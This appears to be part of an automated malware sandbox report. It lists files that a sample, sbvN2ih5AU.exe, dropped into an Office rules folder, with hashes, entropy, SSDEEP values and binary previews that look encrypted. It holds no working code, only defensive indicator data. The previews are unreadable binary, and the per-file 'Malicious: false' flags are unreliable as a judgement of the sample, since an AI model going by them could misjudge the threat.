SHA1:	20CBC915C64F52B1428B04D86B8B3669B366C6B6
SHA-256:	2087684323886D562ECE0F05EF695EFB685E17603DFC2D01159FF5BE9338ACA3
SHA-512:	2F163FE2A4D3569C4F3C8D3E358BE4A80EBCA01ABAC4C7D55382A2BC518821D9D3E2D22F505A35EBA2F3B114478487AEA7FC48D6F55F1585BC5BFAC814CFF325
Malicious:	false
Preview:	<?xml.v.[.B.s.P!.$.Y\|n..a..\.Y...=3=.]..A....l.;...n..U...By .'u......F....j..^]ZNCq... K5..".<.w.....Ge...R.S..rt.5.D..2m.#..i..fy.OWu.......3....1...6h.........i./L..f...kM..~t..A.b..4.J....8ud..a.SO.}.P ..8.r.....w/.l...........i..t....=......_\.r.........^u.1.B.`V:....G.........S..]...K.\.\|.\|....=^.Bc.hS......R(<..j".......(A.....-..i$o.....I..rW.@...(......{.s?............}%9...C>..b...._aEs..(".........q.......L...D8{..9..../L..`/W..u.>.....\.........!.......p..{.M... -J....$.`6.x)c%0.z..[S..{q.y.......y.Y...j....^..<...H.........vfG......$...i.g..\=.w.q..u.$.i.do....gT ..ZL ...N]..& o..5,4.1r..x.c.Z...Lq.4.O."!f.....>w.-$....xa$+W..n.Q@O..a.)...W......+zJ.G5...;..Q....4=.B...&.s.;".].V.U..B..]l%.&....E.!.)..a....).Zec.7XgE....1..F......t6jFF..u)).yW.....m.=x..Cz.?...m-I)..X<@.&j..%a.U..?.9..5..x........u.T.Kz...........-......\|5fF(.n...ea..2'E.(.fB..m.'.....#.)...!Z..40.....=.?..ZU...#..+Gz.F......>.=.w.w..t6.8. ?..(o"..L...H.+.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11370v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.7586547168060855
Encrypted:	false
SSDEEP:	24:zHUJe8WT55/4+kod9mCcSnoRwl1TaqRutMiCECPnpmHy7T+2bD:zHUJXa5/4VojmFSoRwjTaqRuDCE87hD
MD5:	8263962EBBBFD3C3A822935F286DBD6E
SHA1:	C9F489AF34C4F5015C4941702A356DB074EF55E0
SHA-256:	56FA2AFA3D0A50559BA567AC769773ED3A235E79D873D22BD4675132EF32E742
SHA-512:	768BB14739A254C6B3DE642397E5CE7367D00D14CEC0F0DEA5499ED3BDC344B0A0818BAD7CD255FE2511A8A69BD2862C9F44D1F6FEA09FAB894E630823ADCECB
Malicious:	false
Preview:	<?xmlRm....F..y...7..e...^.DFoX.~(.;.U.....i..t....+.......d...`...........{.Y..O..\E.z.... .cz..1...<..M.9..K..2..ut..\|B.8}Iv;..,.w.<p..'b.1@.[.........o...3.T.tO......s,...B-...2z...\|t..].t..........-....d...Ca\|n.....sO..R.........U].-....h.....I...j:\...kV`.b,<O.!Q..B..i.'.SV........<:.y.@;.._&.....M..J{..)..y...........=A..\.@.[y...@?.;.W&!......gT....`=..D.......?....%...z.g.rt..R.@x.<y."w........S.ejz)`.^.../..Cy6......".)E^....]...N.....z.4%&R....yo.....`E@..)....BnF.la"..)e...WlZ{...V.e......kk..{.......x'.Z`.f?...h1..X...........D....q(Ol%.....o..*..;.6.,..F....2}S.x.......6.F...pEe1..jW.M..m2.....Z........x.......sj.M.%"..j...0..[...l.).4dr...4..U..Ut.R&..9...)....I(..O...0..{.MO......g..B.%....!$.h..x...W')0"..........ju......F.....T....D.k.....2.0.\|...mt.aj...g.2...L..Y..a.....b ,.t..i.I].O...w.-C.....Al.....kF~.Q.Ey...@A...X..G\m.J.G>.9.......\|.gJ<#..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11381v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.934103822623306
Encrypted:	false
SSDEEP:	48:Jbx0m2zz/lxgqwLRFTqbscOm7NcIHcLU8pCCqGYh92YgkcRYD:Bx0mSjlxqLvqfOe6fYn2vkcu
MD5:	5744342D74E9C4844FE202D891094C83
SHA1:	2C43C57E6D401FC20BDAD6D7BD6C586FD5DA06A3
SHA-256:	698813113329F4CE27C34523B4C25FA7742942302E3E2173A16823C1E854463E
SHA-512:	EAA1B55C1F6B426A49D1E1178482E12CA03E4CA785E45617A12870E436386C0AFE5CF32AE5CAC49EF1EAAC01E0917855DF4F07FDEB4265277A4BF6FDD8EBE774
Malicious:	false
Preview:	<?xml.K.:C.Cy.\|.../...sg...K.s.{..k.!......]....A)w....Q.O..'>....=.I..`/..?S..zC.....YF.]c.:.......S..{.Q.......j.%V}4Tf..C.R..@B;...Q.S.8..w.~@...Y.1/.h ..=.M4.....#..........=Jzg..`_........DM...#.K.nv..}0C....Zm{.F..V2G....u..5.....~t..j`..E.h...2$(.bt.x.G.@+...R..A.]x5.PV}TJB\.......5$g.y.Wb.b.^idU...dNQE57&..z..2z...owzW`B.=....)..X.......;.t#X...#....."q..?F..;c^..\S...4.DE....f>.u.N...,W$....bL..3G..E..+U..S..a.....hk....g9/b..>........6......Q...&v..:..M......t..j..9L.X.%}.)g..j.qKd.o".&zSzs.:r.$....C7..N/.-#..0....}...1.2o...k...eM..X.fE}.i...1W...I.+k.\..j?.]....D..JWe]............-s.mu.w.......u.p...I...^.R..#.O.....i.2..i....+..D....af.>~.B..iVs......{.l`.'.we.3<.-.n........=.c.0.J.-._.$S..4.J..!....O.....D+.7.wBR..... ].]..3,..<h...*..E...n.:.g...VB....by...y..6..Fx7...;F<..s.=[...Q....#..A.....Ta.r...[Y>.WJ...V..R .."..xj.h..T...mT..6....v..s7......Hj.'...hl....`.6...br....8.gD.GY...B..XPz......w.G..T..s...U...e.Gk...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11446v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.983194664152748
Encrypted:	false
SSDEEP:	192:LTQDiZ7F13HGtZoUkUWDPhlI9NvPXRK0JEne+6pHSLvi6Qnm2m+2BTlHKTjW1IZ:oD07zHGtZoUkPDg3XTJEefpHSLv3Tlq5
MD5:	67F9660E3F6FA7D4E25D47487F5AC986
SHA1:	BDBDBF34F170BD7D66FE93787745273CF19713C1
SHA-256:	69EE4DE590540279F389656DC39FD78D2B738D8718F08BC9292F24194C4C8ABC
SHA-512:	CE19ECCC7F107B277628C3DEF1B3AC52538094A3C9EE8466A59A938179F67FF63566EB1014D69067EE7BCAB3ED8DB31FF386ABDADECB53A4BF63F58F95DD13C7
Malicious:	false
Preview:	<?xmlP.T...5..y.MJ\.....Uju.....(.......S5p(.n.n:O..`i".....uF...a,.o;....T..\|.w\|jD...F..a.A....d}...ld.....((...[....=.F]0.1z[...m[v[..W@...tf.....-i.j?..!.M......e..A/.gD.....j..w....`..n....r..J`J...[.]7.....fX..3.b.G.N.....Z......R.q.7%nDpS.t=1.47......#.?..iy..`.4.y..rnY\%..H...h...D...5....v7I.I)..nk.....c..2....P....l.m..<.9.5B.xM..i.).;.[..\|.;.%P...o...&...Wc...Ur..`B6C...y^J.14o..`......_....U.kB.?......E..H}{Q.0[.7.............m.=4.[...i..)..."..Ls.?...S....(.!.W..EA......U...O....SV.W..D.A.%Y.e&.Y:.....f..w...`<f...@...>E2..w.G.Z.r.J.=.:.P:iE"y.V..Z........I.R-..DG.^.LDfnn.=.o...D.{.X.F.,...._7b.4.%n....-s.E..j.`. G.^.......hr...R..............1.Wy.w?.2... ...T...iZ..E..\.V?3..?...)..-...g>......w.p%.V.#...S.K....#f...z.N...R.t...s..\|K-....>...j........dCqg6..:@..'..).5O%^yXi^.1.....$&>O.Y.wT..7...(..o....e..Oz.W.....=\|TXn..g.9.?....}..j....O.....3g.........IJU.&.R)../.2...I..e..'L..z.....X.........0...d..?rb.q./:5.>...h`...B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11464v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.7685421403826
Encrypted:	false
SSDEEP:	24:jaIn5epqjOMb2iJemvV6tHMVeTtzt72bD:eCAqjjb2i0mvkHMV2tztoD
MD5:	512C3E4CA537169A13CC399CC31932EB
SHA1:	9EAFBA63006EA9525ECFC2DF833FA552841B7255
SHA-256:	799E209ACB013074BD75C16704F5CED67E44BC67BC89AA5DE2DBE92BBDCD5604
SHA-512:	CC4052C59E71D17518FEEE07A2B0DF0492A0EFC89AC61C2B6566EA0132ABFCA3592BC9BFE0ADE72DA9081F28328B86EDC594F01CFE67D780B6B4264A081B2FA8
Malicious:	false
Preview:	<?xml)]..Z......-...e...~1....C.\....$>f..v.H.P..7a.}..:..\|3..%...r..-.....j...en.."............J#.u^.8....Q.=z>-.Y......)f..).....i...$....dRs..d.R.9...(.rl.......B0...u.`..N.R@.......h..-?..0...n..e.6.K...].j....U.l.(.M.....4../..0.&.V.....}"..T..n..._.K....e...[..s-.U.;j0..5.\|....&...ni......Uz.W.Mp.n.T..!...n.l....4..y...:!.p,.j. w..y9.......D^W}.b.....T....C.8....b..k....h.x.d.].......f^..r...c....w\|..."..!......X.?Ct..{..F.r......A.!..B?;..a.}+...c.E...).MI.....'.h.@.........J.z.Q...P.G.n.(..W.J...mf...z.X......,Y.......Y.Z.....\....yw..yt..A...uJ..T<%...E..&.K.o.jH........Qa.).S...!..wa6.Z...?...O.....jd.Fcg...G=...U.5Lz.`.......B..{.T\|....$.t..b.d..T..R.............x*_,7mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11498v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.719392276422672
Encrypted:	false
SSDEEP:	12:c73BH+GWFlawA6jyKkXxUADXvxpFnbBYNdqGnv6IFQ1RBELtdvfa5f9SUdNcii9a:c73OaDXxUqpxYrqGv6ua2+fw2bD
MD5:	ECA7088F8D4DEB7AFE8D23BD8BE9C7C4
SHA1:	2FE6704389CADCB3D93BCE6619FD356BD61E3D97
SHA-256:	4D14960913D6686F31339D88F7217134C2880DA8BE8BFF408C8BB81A7744EB1E
SHA-512:	9D6997FCEFF699944CF95B03311A0C32ADF504D17659B3E8E49C192336B56B7DB7E330A9865AB15B5778A4688AAFAF1A453FEDB8CB89F8FD9FF330C93D2F741E
Malicious:	false
Preview:	<?xml0........q.0....6_.0..M..HlU......n.I\|...j.Pb:W.0`.. L.k;...".e.]M4..:.E'.E.....M..A..."(.j..f.6u):.7....1J9..?Y....4nh.XK.m.M..)h..W..w....L.hx]...G....^F....<Gp..v...=_E..vb..`...:-@.\|"....G._.&..x0.....B.B....b..!..;...B....&..$$..{.O;c.3..>.g.Xc.s....3.T...7!....6.....u.a.`..7.Z..f.).1..!.V..S.o.'.k:`O..i.La.q.....{.Mr[._....q... .d..Y..'p.l_..h..O..'N...0...'.....(.a..uJ,.e=.X..~K...{6l..>q.l.#I.gy.0c..[..qi,........fM+>..{.a../wZ.em..>....i..H.w.......R.G1.q=_......`..pN.Cvj...A......tP.B...,@^......)S..^...S...E0.`?.J...59.... l.s..P].G......D]..E.W..(..%...u.K.N.W.y.9.0..\-I..4..>...V....g........5....;..-c..OJ.@.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11499v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.901495401403335
Encrypted:	false
SSDEEP:	48:u+MGITBSkUsfBuNVJ6kW2cQJeMWN3HBqMJ1jJD:H9I9+egJ6HYJs3HBf9
MD5:	EC239D1C4DCB4D956F0C647DEC80C33A
SHA1:	554E6A072992A8C695833FB92FE3790E840F358F
SHA-256:	5BB87C3E1BD970FC52623D6AF6840B876B770F80FF56ADF8170654D73FDD8CA8
SHA-512:	914215FC87C7E48DD579645D76431C8F470B3D62E0BC6281FEDC5EAB0BFD02D64889DB196DB3F0D2FB7FB84AFFBC0E2F3DAE1A9AEA31C9519C9C773CE0CA9220
Malicious:	false
Preview:	<?xml.F.Xe..d..b........!.@..S.._.Y.\.Pn?.....8v..t;}E.) ,..q..H...0zn.....F..[4....EI .W}..F..2.Xm.......:...EC(....ilvs`e.[N.Q+..d:..)N.~..b.JpXl....o$636b...w.~....I..q.......w.pG..\|`.Lh."......L..J.Z.S..[g....OT.......C.>W..L.8xk.\...."..N.)..Z.SV....9..~.._RY..7c\|..A.?.o..FZ....WF/...bs6E...Q..V...x..ZV\|&2=+.Q...9`.Q.Q&P....E..u.#.y../..LHm<P.o...o._.c......j..0.Q5@)..tSi...6.4UG.Q.&D...m!.j.1I....L.L.^o_.....M.-..e......:.~N.\y..~..?....#.)mk.L-bMG...$!..JP.g...wM......+.B&....Q...uh.#...L.....@E.....-...K..c.=.....r....9.^$...a<.7..FAT]f.....!Q..O-G....U.%.QI.6.SU..x...t.......7....H.L.....3@.R..w.....)dTqP..?..\=........V$Q...?t~.~y.F..m...sM.....$W.U.Y.....!._...}...$5..v..#.O...au0V..R.(c.S.&...~.d}.y..V.....8&vv.x.....Q+xK..ax....PfO.....rl....-_CBM\|d...y......+..T8y..AB..bN...9.'.).U..!U...a....z....o..1,.Z*J"..A`.;].a..e..4.....z..v......t.....G..6..i...Etq<7........4Xs....X@......X....^...P....$..0.....3.U..YAs..4.yw7...G..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11500v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.761462513908866
Encrypted:	false
SSDEEP:	24:zO0CDJyt8oG3+iH6i4Hi75l084GhncVYoEt6ECM+2bD:z6JH+Q6i4wi84GCKow6rwD
MD5:	E27B4D70D13C70DAC58549A2629F6E1B
SHA1:	21BC77BA88B69BCDC419BAE8BCFDE23F0878E353
SHA-256:	522F8D9EA02A0683D0EA3BA1C1B329AF5578869FDCEB75233A06299978542231
SHA-512:	FF76558B7C66109A0FC2E73A2351F62A1C124E8B48A314818BD69B066ECF067C66848594CF70483A33BDD9BE14FDC318ABC0028656AC12E22EB3C97349B6C770
Malicious:	false
Preview:	<?xml.1(.DC..MOuB%-.sF.j....:...K?.L..{.b.........].3....{.+.m..aKw....<.h.M.......=K.. ...R.9.h%2#...I.r.;IQzL[.!.s..n...Dw6\|....~....e....h.....N-&`..mi..]...y.$y"..tJ,v}Mw...LTt...u.p. P.j=...~.o@.S.pT\|...'S..h.f.<y.iC..k?.s.....0......>..W.I.Q.9...he3.L...-L...>N.$..s.#S...M.n.s..n..N.z..=3j....EOuT4Ib..[.o.........kF.........J1..L....T.as6>f'p.Z[...l5K+.T...n...E.mWV..a...da.....ox.Ku...P....A.R...W..`.TV..`..k.E....j.}..;...\|.p..=..9..4..c.X.C.1.W...xs._G.6.H.\..P....q4.5..p..2..Em....]6...E.l..,..U...........[.M.a0..k*..!,..z..<4...t.x#p....4h;wN.M..W.wM.%..x...#4.J.......<.>..p.......Nn..S.......=].....q...}4R.=[.).W...V.Z^g./..$.8.._..z1T..J6_q.w.D.S.L&..n........j,....-...UV&M...gui.2.p..3......:...B.$.."x.gS.h......h.<.. Bi.....D.T..J/.,q.R.\|.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11502v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	7.868478821223987
Encrypted:	false
SSDEEP:	24:gjudMtXsPaablPUQgYQp8l5Rgu4RmItXq7vyrnZkvpuerqEr42bD:YeYXilPUWVsxtX8y9kvpuebD
MD5:	08CCC1F91F1F35090D452AC277FD81A4
SHA1:	70AACA38655527A893D0C78AFF5344AFF99876E4
SHA-256:	06727D436AB33A4FCE38FDD56929A2F392524A021EF04609B99954332966A8C8
SHA-512:	F77240D113B54541884508EF46E6503C69594AFFC7422F0FB6D8CB35C25BA78060BBA2437533EFBBA22A30941377F0919C55F77E10E85BEE71F7A03C3A23A004
Malicious:	false
Preview:	<?xml'..g.8..$..0c.@.d....T%L%../...f..+..Lk..u...w....A.[.)e_...0....F.~D.(.d[....`'.....b_y_\|..w...~.m.fb}{G.}..........g....?F.M.......HH.Nw.:..@.6V.."D"...N..]......yc)7...(.fB..X.c...y..m..B1..O..?Q...n.A...&.)o....C........1N.w...{.Jl^.....u.....4.C%..iD y..d.&..w.16oc...L.{jo..^J.....n0..."6R$.~.....'.....;5..[..t...}ra.k=.e2...HT......Y....a!Jx....?...y...E.h.._....... r.....S..~.GZ..."ju.1..4*N..$.h5z..2....Y..-F =`z...H...".yI..{...\|`s<.z..BGL...B....lHFG.......)8...mQ...... 4A..J[.B..=LJ&..5.O...........N.t1_.+....N./.F....&.......l;.>2..p.=..;f..S.$^..I..2..{.(..M.....d....8CyMv. .F..?......{.......A.m.D5..k.>...E..Z..@..N.K.T.=X.G_..._...1..."F..MX.....d.5._.DH..R......P..W......a,......m.....].!.b..q..7..A...Z........&\|...........6....,.....\|.3&@...y..-...r...p..V:1....{.1.y.....a....o....Y.A@.%....PC/./...E.N.....z.S..`.7.A4b.<^..W=..........#....Qy.o0O..s....YX06$.O.1.L.Z...fZ...fs....+...=.\|<......OK.>U6 .^........Y.[Z3.D.....(

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11504v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.860623539772766
Encrypted:	false
SSDEEP:	24:hZDt3lC9tGcTdu9fCXw+MXDjbJ/3q+y1cvSaUVryrCiCseabMo2HpY2bD:hZupTdAfCXrevq+0dB8vC6uHJD
MD5:	10E8EF739099F60DC6653E0C47A1D08F
SHA1:	6D22CF962D8CAE8D6C8F0C1441054B99C24239E4
SHA-256:	77EFA314F2EAF26DF01E8585911F048F9F36F91F94745421AD84446A9F92EA9E
SHA-512:	11BD4BEC3CD0DEEB249129EC520C115949E4B88752784C230F1B1637311BCF095E827E8D791BF15344F8EC0CF8229E7084E5544005DAC70113EA5991BA6EE2B1
Malicious:	false
Preview:	<?xml.....l..E..^....9Rh2.y......0.N9...+.K...y.w.z..U.wl..#.x..@../.Q...........`.Hjy...z".Jqs.!M..U...Rn..$.e..4.Z.8.C>.Q..1....+.-ur.\|....:..m.....3.0n....T...l....c5I@.t..........LU...DpxU.....\|fN...T...[.9._.sa.J.........I....[R:.+7\|t....B...BU6..AO.....".C}#tR......{$2@.BE....5A.....W.t&U.....Sh.6.Q...B......o.>..TR...... ..C.v@...@......t\,..u!G.....\|..Y..b\|..5.r\.-...9m..#j..(`!0......'..[.].....t>...2<..&S...q7.....o.L."B.+...`.....0..@..D....)H.=.Ct^..g...........1....%1.F....d.GU.kb..T...:z..~,...`...cA........#(e..I.\|o..{.T.7..h>..&&0\|.%a`uc`.w....c....=..4.!...0u.e..B.d........b}[ f..Ek...Z.?7d$..t[d./.z..E..d..4v...&=.hb.\...Nf'..4..../l.^.Hn...NZN)&.pR&..Yc8.......+*.gd.G;..p..ve..>.C....Q..(l...{ .......W.Y.b..@...a.x..6.x.uR1.+er$...).....!.h........"....=.....'.<A-........@...R......`..i.a....[^.T...#........-....`.{.......^....Z....E.b..4.......3....e...m...k..P.l.9.aq.4CP\...I...P.Y.....eV2FG}I^.9\....(d...(Bg..j...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11514v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	7119
Entropy (8bit):	7.976630401861807
Encrypted:	false
SSDEEP:	192:JmjI0tIPqVtJ11m00PWzjn0ibVm9y92Y6dBkb/R:JmjfttJT0PW/n7n92Y6M/R
MD5:	5E185C6F99D10917B39804FB7D018A78
SHA1:	2B010014C604799D6F16CBC8CCBBBED734247D0D
SHA-256:	BACDAF83CDF6F97AA329D540681385F91B1DDB42F6E59CF3C5C5D3E7D53C7B8A
SHA-512:	5C22853A90214657684A9E095F790E068762B58CB3980DD1C574EBCC5E8F9A099AA04BEA99F6E50A3B57D26D59A6B3DD24C0CC6F633CF55DDAB1AF6C5C6A1940
Malicious:	false
Preview:	<?xml4;x....{w..z.Cn.$.uI.4..R}.l#O..U?.{.: .N...O&.r.........K.............i.,G..D.W7.....1..4...:,>]..J..J./..!..s..(.n...:....(P.......(...(..r\n......Z..I(W=....>...H...s..9...4-=1o...z..]K.........J).%....'z{.sT9.>M.....w.....h......$)...rp..?.oS.XL.........F...'N....+X..s..]\|......n.....=.U.\.5....G..N.9....1.!V...-.w...i.....T7J1.M...=...<..`.k.'...G.fj.%/..M....eQ...:.V..!..A5..y...q.........v.3%h..o.#M..9".R.wz.1"....X..O.2M...4O..cC.$..#.c...Ic.m.G...I."'.j)zh5.;..F..;.top\[......-...TUa.h.C)CT.tBb...n}.....-....<......P.][..Ks..a...e.+..M........Npa...r.ZoJ..uW..&..Q.aVy..!HH..,;O..'..RW.9...5q..d.aX.,q.F.R.[`^.l..M.k.-..j.@%:......q.7.....3.."N%...&...!.C.t~w`..cU...+..:@kwH..l...@E.....X.s..B._.%.61..%....&..N.;1..9.N.!.%.Ap"[.....[........P._?./0q....h.'.Y....H.N..e.y..D[$.tq..&A...W}A.P^..W..X.).....^\'3w..g.N.......fw.:+..{......]@.!-..cI+S.....7......j..V\....<.J.t.....Q.......a............2.?..o.-=.u..?..9U.K.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11659v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.702693522622705
Encrypted:	false
SSDEEP:	12:xmAP3wLe6l06r3EEKEwgAr6zsznFKE7oUpOtw0ghihdI8VVYHTHir48ViXGqSWWG:xmYgxRocwX6ozUOJ0gq0zHwqEl2bD
MD5:	EA69FC50BE73679DA7F11F6C448E3E13
SHA1:	A978F04F99C6EFE3BE0C100F25691D1514A7143E
SHA-256:	EEEC078E13C1B2E904B138341B2FED00FA4CDDA146CA8C721272056F042C357C
SHA-512:	5D794B92EFA2E3501957333C32DDC9BF6CDB1C17A7A32FBC6842AB54C363DAA8A03ECFB1C3F34C40925A52EA653958CCF8A61573260C59EDA019F5469C19608D
Malicious:	false
Preview:	<?xml...a...;..;.{}.Xj.]..X..ec...2,........t..$.A..1.iug97~.~.....^..L0E/&]< .cP...8....#..D...M-.#HL.'Q...'a.*.bV`.\o....8..7.bC.3...=.. z...`Z.......J..'..p.m93..v...X.b.r..z,..o..{...]c.A.I....\|.$W..q..inb..W.....f....'.....C35.2i..C.+..../.Vc.L..xD.:...._.../v..Z\|..(......8.G.:.....7..e.....Y.e...-.....IT..r........'.?.T...'UN.q9..Y..I3.....I.F...bt...cS`.=._;..P.l.z...$++.X..,I;..u.1..4...fS.m[e)O.g .o.Qa..\V....C....U...?(...h.l.`..J^.a..j.T..P.%.....2P.5.+.....t^>.u.......t..Z.dj.;..-..e.,3.8.9.......F9W.f..Mg5..].......ZW..zX.... ....\|.........._..>.c.R....q....G...+d.{Y.$x..'.WcP.u.....6...6^..........\|..2..j^^.0...q..U<nk(.f.....u.amMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11701v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.868412029704349
Encrypted:	false
SSDEEP:	24:Tifv/TmpPMYD1A7Uwm+RAunkyOMyGV7bBa+ZEV+NoJ5iV4nq5RQhjM1QQrvFcsDl:Tin/60N7FBtk1mJ9dZ8+NmnMRYjcLrxZ
MD5:	3D1F35764C86F08CE00C78E22A68C0AD
SHA1:	C6E7D095E7371578F95817853D23407404654EB5
SHA-256:	67ACE57783B90E7E94C04E91E535F45262B07CFB43F574503F064FCE51BCF3A1
SHA-512:	177194AFD6821EC1F7B31FB2909960D1F3139FAEE088B7F17F6E14565BC540C5DB657063008BEBEAF7784C9943D72CE73C13A51542509833EA8C833D5CA3D3C7
Malicious:	false
Preview:	<?xml..."G.Uw./a.$.Z.4......n.o....6.ta...G..:+y.....!.:?....G..V...M6nf.....O..-u..e.U......=u...E\.....g&..V...,.P.K.se......q....o......S ..o.b..n.j.?....J7.W?l2.b...bZ..D}.......#6..T...\..`.....8 ....`..IM....b.`.=0H......_)}.T....x.Xr4.....BB.Vr.<D.I{.+.....l.Kp.o.d.@l.o..,3...P._6h..A...x.].....X...7...//.ah.,...b.......x`.\QC...a..N{y..D.x..`K....r.y...H...U....^...3H.V.H.......Rl'...bt.]..U>J/}.-.......y...3.....]L...B.D..e.N.+.r.....T..K...#D.u>.A?e.R.}...O..:76P/$...H.:.....8..TD....@P..k.....b....?..j...{...Gs.H.QD..(.^:.Ed..8m..F....r......oje..D..".f7...=.1.8.`..l..$...a.....D..z.NC.F.(...W..A89....*c......+.@.....o..MGf./~6z<...zU....9....Q.Z.....mZ[J/..`T@...R.....L..c.@.H].Y"..+H.?.=.`@.J.R.m..#.t..j...d.).....h.Ie..x.~..di.F..+....v.u.\|.?q.[ .!......Z....H).Z.i.".E..#..b,.2..\|.4.%^+<-.f............(]..p..%.w....N..i.y..a^.%(P...G..q.B.[...L%......c..\B.....T..O.....a..4.X.-.U.5.>.z.<.....l..;Q...vx..up......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11705v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.946324264376031
Encrypted:	false
SSDEEP:	96:SkYINxKDxCEdDuHbt0OxLVmq82AvRhe4S/IkRt9X/:DNxKV/dyHJ0OVVmq8lvRhRoIkRtR
MD5:	58437A5A063CF8C6E0119CC7ACBB1A75
SHA1:	7FE053D0093E6B0ED7C351D94E48F562A4030BB6
SHA-256:	34877B42845A718C32694FF3C6CE6E9AD090C5B97B583BEE3A16241036A8C4B4
SHA-512:	0FB708D12881C6C4D97133F551066E17B7ECA35B379F73DD6976BF08A93FDB22E21A8BC7A97F9C230612E4937EB3127DFE0339A6E8A5D866CDE5CF03775E1D13
Malicious:	false
Preview:	<?xml....2...\...cs.Nw$...../M..k.R....^0dI!.....X.MX....%...9........0`t./.xV......)..G.oG..U..R."....^U.h......F..6gTKr.~.7.`s.d...:...I. a..=..f....u.ANi...l/........G....X.A:V..`].X...N.c' ....g......^).......%..g...B..)....v.h(6.D/.Y..Uu..$&..F...F.....=Ap.!H..d.?Z..PbGO...Dd...<..i!.....N..........A...$O.$.d(.O...`.ME.F...i.>........._........'....\|....r..}..S\|D.#....YIe[6.D._.k.~x>..=z..G,.1.vk.&+...m.....IQ....=}rd9F...V."..O...$.u. B"..V.ZZ...=.NH<.._....I...ub...."l>z....>..D7.... E...?...:.. '%G...T..M[a..~[8....@.p{.4..q.......7 D..B.....v"..>.uO.wu..7..TV[I...7.A..pC....3..0.k..b.k..1LLW..#..A.......?~..}W......DS..IU...%<....l....]dg.Wg.../...z....0...T..V..ZV..NI.T.S....O.a.....uaJK;~...6t?R....6..wDv.(0...~i...."4...l.e..J......\.0.<...>..............8....XH..?......d....._xi..w..r.~.._5.xN.86.,.....c..4.....o...S..U..!2(.44..!.OTy.=2..[k.6......?@h.K...=f<m.1....=.g....7~ b=..w..0..z.....W.Y...R....I;}`.....Jh...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11710v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.795739965247817
Encrypted:	false
SSDEEP:	24:+VFaJBC2nlBdSOJv3Y9sXdq+4KSSS0aFOhDZ2bD:+VFEVB0k6KNSqAOh2D
MD5:	A0D252CFDF0AA0419B367AF1281703F4
SHA1:	91C8BF81D16364E1D7F0A01F3C7D693D396E0A89
SHA-256:	B99B15C469B333BABD8B271BBA6EB4979B8AA4556C0048F510FF0DC114697D52
SHA-512:	3324B73B1FBCF21E0DA25B3659D4B1679878AB80D11926BC51B296F99FAB30D09E4F176DE7B37787DCD7482825EFD65D258702948FDA5C9F3159EDCFB72D58F0
Malicious:	false
